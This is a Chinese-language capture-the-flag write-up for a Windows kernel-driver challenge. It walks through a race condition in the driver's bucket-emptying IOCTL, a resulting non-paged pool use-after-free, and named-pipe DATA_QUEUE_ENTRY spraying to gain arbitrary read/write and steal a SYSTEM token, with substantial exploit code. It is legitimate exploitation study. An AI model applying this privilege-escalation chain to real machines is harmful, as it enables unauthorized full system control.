STAR Labs Windows 漏洞利用挑战 2025 题解
在过去几个月里,STAR Labs团队一直在举办一项Windows漏洞利用挑战赛。我幸运地解决了它,并为自己赢得了一张Off-By-One会议的门票。以下是我对这次挑战的题解!
分析二进制文件
我们获得了一个Windows内核驱动。基础分析显示,它用于接收和保存从用户模式发送的消息。
重要结构
该驱动使用了两个关键结构:句柄和消息条目。消息条目是保存用户模式消息的存储单元,其结构如下所述:
1
2
3
4
5
6
7
8
9
10
|
struct __declspec(align(8)) MsgEntry
{
_DWORD refCount;
int pad;
LIST_ENTRY listEntry; // 桶链表
PVOID msgContent;
__int64 msgSize;
FAST_MUTEX mutex;
char isAddedToBucket;
};
|
驱动程序将所有MsgEntry对象排序到两个桶中。如果消息小于0x200字节,则进入小桶;否则,最终进入大桶。每个桶本质上是一个链表,大桶和小桶的头部分别位于偏移量0x3140和0x3150处。
句柄是MsgEntry的包装器。我们可以根据句柄内部的index字段选择与哪个条目进行交互。
1
2
3
4
5
6
7
|
struct MsgHnd
{
int index;
int field_4;
MsgEntry *tmsg;
LIST_ENTRY listEntry;
};
|
所有MsgHnd对象也分组在一个链表中。此列表的头部位于偏移量0x30A0处。
对消息条目的操作
驱动暴露了4个用于处理消息条目的IOCTL:
0x222000 - addMessage: 初始化一个新的MsgEntry及其对应的MsgHnd
0x222004 - deleteMsgHnd: 删除一个MsgHnd
0x222008 - writeMsg: 向MsgEntry写入消息
0x22200C - emptyBucket: 清空一个桶。
当MsgEntry正在使用时(例如,在写入操作期间或在桶内时),其refCount字段使用lock inc指令递增。一旦不再使用,引用计数就会递减。如果refCount降至0,则释放该条目。
每个MsgEntry还有一个mutex对象。在写入操作期间,此互斥锁被锁定,以防止多个线程同时修改同一条目。这应该足以防止竞争条件……是吗?
漏洞代码
在清空桶时,该函数未能锁定每个消息条目上的互斥锁:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
_int64 __fastcall emptyTmsgBucket(PIRP Irp, struct _IO_STACK_LOCATION * CurrentStackLocation) {
.......
ExAcquireFastMutex(bucketMutex);
currentEntry = bucketHead -> Flink;
if (bucketHead -> Flink != bucketHead) {
do {
prevEntry = currentEntry -> Blink;
tmsg = & currentEntry[0xFFFFFFFF].Blink;
nextEntry = currentEntry -> Flink;
prevEntry -> Flink = currentEntry -> Flink;
nextEntry -> Blink = prevEntry; // [1]
currentEntry -> Blink = currentEntry;
currentEntry -> Flink = currentEntry;
currentEntry -> isAddedToBucket = 0;
if (_InterlockedExchangeAdd(&tmsg->refCount, 0xFFFFFFFF) == 1) {
msgContent = tmsg -> msgContent;
if (msgContent) {
ExFreePoolWithTag(msgContent, 'bufT');
}
ExFreePoolWithTag(tmsg, 'msgT');
}
currentEntry = nextEntry;
}
while (nextEntry != bucketHead);
}
}
|
在[1](第11行)处,获取了nextEntry的地址。从该点直到程序在下一次迭代中循环回到[1],如果nextEntry设法切换到另一个桶,链表将损坏。这导致取消链接循环无限运行,因为停止条件nextEntry != bucketHead可能永远无法满足。
如果currentEntry的句柄已被删除,则currentEntry->refCount保证为1,并且将会有两次调用ExFreePoolWithTag来释放currentEntry和currentEntry->msgContent。这将使取消链接currentEntry的迭代运行时间稍长,并拓宽我们的竞争窗口。
在测试过程中,我注意到如果我们赢得了竞争,该函数会进入一个Flink和Blink都指向自身的MsgEntry上的无限循环。该循环反复取消链接同一个条目,最终将其refCount减少到0并释放它。这导致了非分页池上的释放后使用条件。
触发竞争条件
我将大桶的布局塑造如下:
然后我总共创建6个线程:
- 线程1调用清空桶IOCTL(这被称为清空线程)
- 其他线程持续将
refCount == 2的消息条目移动到小桶(它们被称为翻转线程)。它们的工作方式是在这些条目上简单地调用消息大小msgSize > 0x200的写入消息IOCTL。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
DWORD WINAPI writeSmallMsgThread(LPVOID lpParameter) {
int startIndex = (int) lpParameter;
HANDLE device = raceDeviceList[startIndex];
WriteMsg * smallMsg = (WriteMsg * ) malloc(MSG_SIZE_SMALL + 0xc);
smallMsg -> msgSize = MSG_SIZE_SMALL;
for (int i = startIndex; i < FLIPPING_MSG_ENTRY_COUNT; i += FLIPPING_THREAD_COUNT) {
smallMsg -> index = flippingIndexList[i];
DeviceIoControl(device, 0x222008, smallMsg, MSG_SIZE_SMALL + 0xc, NULL, 0, NULL, NULL);
}
free(smallMsg);
puts("[*] End write");
return 0;
}
|
由于清空线程通常很快完成,我们可以等待1-2秒让它完成。如果在那之后它仍在运行,这是我们赢得竞争的明显标志。
漏洞利用
我们的漏洞利用策略遵循vp77非常详细的指南,该指南利用命名管道来利用非分页池中的漏洞。
阶段 1:用伪造的 Tmsg 条目回收空洞
此时,清空循环被卡在一个已释放的消息条目上。然后,我们使用无缓冲的命名管道条目回收该空洞,这些条目充当伪造的MsgEntry对象。其内容如下:
1
2
3
|
fakeKernelTmsg->refCount = 1;
fakeKernelTmsg->listEntry.Flink = &fakeUsermodeTmsg->listEntry;
fakeKernelTmsg->listEntry.Blink = &fakeUsermodeTmsg->listEntry;
|
fakeUsermodeTmsg是我们在用户模式下创建的另一个伪造的MsgEntry:
1
2
3
|
fakeUsermodeTmsg->refCount = 0x69696969;
fakeUsermodeTmsg->listEntry.Flink = &fakeUsermodeTmsg->listEntry;
fakeUsermodeTmsg->listEntry.Blink = &fakeUsermodeTmsg->listEntry;
|
由于refCount == 1,fakeKernelTmsg将立即被清空循环再次释放。在该次迭代之后,清空线程将跟随fakeKernelTmsg->listEntry.Flink到达我们的用户模式条目。
fakeUsermodeTmsg的Flink和Blink都指向自身,有效地卡住了内核线程。内核线程将持续减少该条目的refCount,因此我们必须保持refCount大于0以防止崩溃。为了实现这一点,我将refCount设置为足够大的数字,并让另一个线程将其维持在初始值。
1
2
3
4
5
6
7
8
9
|
DWORD WINAPI watchTmsgRefCount(LPVOID lpParameter) {
while (true) {
if (!isKernelThreadTrapped && fakeUsermodeTmsg -> refCount != USERMODE_FAKE_TMSG_REFCOUNT) {
puts("[*] Kernel loop redirected to usermode");
isKernelThreadTrapped = true;
}
fakeUsermodeTmsg -> refCount = USERMODE_FAKE_TMSG_REFCOUNT;
}
}
|
此线程还会在内核线程被卡在用户模式MsgEntry上时通知我们。下降的refCount表明内核线程被卡住。通过此设置,清空线程在伪造条目上无限循环,不再干扰我们后续的步骤。
阶段 2:用缓冲的 DQE 回收空洞
在第一个无缓冲条目被清空线程释放后,我们再次喷射池——这次使用的是缓冲的DATA_QUEUE_ENTRY(或称DQE)。这些是我们将要损坏以实现任意读写的对象:
1
2
3
4
|
// 头条目喷射
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, 0);
}
|
但是,如果我们只在每个管道中创建1个DQE,就会遇到问题。原因是来自vp77的技术包括稍后添加一些额外的DQE以实现任意写入,这是Npfs将新条目插入数据队列的方式(代码取自reactos):
1
2
3
4
5
6
7
8
9
|
PLIST_ENTRY _EX_Blink;
PLIST_ENTRY _EX_ListHead;
_EX_ListHead = (ListHead);
_EX_Blink = _EX_ListHead->Blink;
(Entry)->Flink = _EX_ListHead;
(Entry)->Blink = _EX_Blink;
_EX_Blink->Flink = (Entry);
_EX_ListHead->Blink = (Entry);
|
如你所见,为了正确插入一个新的DQE,链表中的最后一个条目必须是有效的。因此,我决定在所有管道上的头条目之后添加一个额外的条目:
1
2
3
4
5
6
7
8
9
|
// 头条目喷射
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, 0);
}
// 尾条目喷射
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
WriteFile(reclaimPipeBufferedList[i].Write, pipeContent, NP_BUFFERED_TAIL_ENTRY_SIZE, NULL, 0);
}
|
这些尾条目位于数据队列链表的末尾,并在我们的整个利用过程中保持有效。选择它们的大小是为了让它们分配在不同的LFH桶中,以避免干扰我们的头条目喷射。
此时,我们仍然可以从阶段1的无缓冲管道中读取数据。由于我们旧的fakeKernelTmsg已被新的DQE覆盖,我们可以识别哪个阶段1管道已损坏。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
for (int i = 0; i < NP_SPRAY_COUNT; i++) {
PeekNamedPipe(reclaimPipeUnbufferedListStage1[i].Read, &stage1PipeContent, sizeof(TMsg), NULL, NULL, NULL);
// 数据已改变 ==> 损坏的管道
if (stage1PipeContent.listEntry.Flink != & fakeUsermodeTmsg -> listEntry) {
puts("[*] Found corrupted stage 1 pipe. Leaking buffered DQE");
corruptReclaimPipe = reclaimPipeUnbufferedListStage1[i];
originalBufferedDqe = (DATA_QUEUE_ENTRY * )&stage1PipeContent;
// 由于这是此管道中的第一个条目,其Blink指向CCB
corruptPipeCCB = (NP_CCB * )(originalBufferedDqe -> Blink - offsetof(NP_CCB, DataQueueOutbound));
printf("[*] Corrupt pipe's CCB: 0x%p\n", corruptPipeCCB);
break;
}
}
|
我们还可以泄漏缓冲DQE的内容,并计算阶段2管道的客户端控制块(或称CCB)的地址。
最后,我们可以通过在阶段1管道上使用ReadFile来释放该对象,使阶段2管道指向一个已释放的DQE:
1
|
ReadFile(corruptReclaimPipe.Read, pipeData, NP_UNBUFFERED_ENTRY_SIZE, NULL, NULL);
|
阶段 3:喷射伪造的缓冲 DQE
对于最后的喷射,我们的目标是用一个伪造的缓冲DQE回收空洞。
我们将为此喷射使用无缓冲条目,其内容如下:
1
2
3
4
5
6
7
8
9
10
|
char stage3Content[NP_UNBUFFERED_ENTRY_SIZE];
ZeroMemory(stage3Content, NP_UNBUFFERED_ENTRY_SIZE);
DATA_QUEUE_ENTRY* fakeKernelDQE = (DATA_QUEUE_ENTRY*)stage3Content;
fakeKernelDQE->Flink = (uint64_t)g_usermodeDqe;
fakeKernelDQE->Blink = 0;
fakeKernelDQE->Irp = NULL;
fakeKernelDQE->EntryType = 0;
fakeKernelDQE->QuotaInEntry = NP_BUFFERED_HEAD_ENTRY_SIZE;
fakeKernelDQE->DataSize = NP_BUFFERED_HEAD_ENTRY_SIZE;
*(QWORD*)(fakeKernelDQE + 1) = KERNELMODE_FAKE_DQE_MAGIC;
|
请注意,我们的伪造缓冲DQE的Flink指向g_usermodeDqe,这是我们在用户模式下创建的另一个伪造DQE。
一旦一个伪造的DQE回收了空洞,我们就在每个阶段2管道上使用PeekNamedPipe并搜索魔术序列KERNELMODE_FAKE_DQE_MAGIC。这允许我们获取损坏的阶段2管道的句柄。
1
2
3
4
5
6
7
8
9
10
11
12
|
bool detectCorruptPipe() {
char leakContent[NP_BUFFERED_HEAD_ENTRY_SIZE];
for (int i = 0; i < NP_RECLAIM_COUNT; i++) {
PeekNamedPipe(reclaimPipeBufferedList[i].Read, & leakContent, NP_BUFFERED_HEAD_ENTRY_SIZE, NULL, NULL, NULL);
if ( * (QWORD * ) leakContent == KERNELMODE_FAKE_DQE_MAGIC) {
printf("[*] Found magic sequence: 0x%llx\n", *(QWORD * ) leakContent);
g_vulnPipe = reclaimPipeBufferedList[i];
return true;
}
}
return false;
}
|
任意读取和写入
我们已经有了一个伪造的缓冲DQE,其Flink指向一个我们可以控制的用户模式DQE。通过修改我们的伪造用户模式DQE的IRP->SystemBuffer字段,我们可以实现任意读取。我们还从阶段2泄漏了CCB的地址,因此通过遍历DQE链表,我们可以泄漏此损坏管道所有DQE的池地址。有了这些,我们现在拥有了执行任意写入技术所需的一切。
实现任意读取和写入的步骤在vp77的文章中已经得到了很好的解释,因此我不在此详细说明。通过严格遵循本指南,我们可以从SYSTEM进程中窃取令牌,并为自己获得一个NT AUTHORITY\SYSTEM shell!
非常感谢STAR Labs团队举办了如此精彩的挑战!我在其中玩得很开心,并在此过程中学到了很多东西。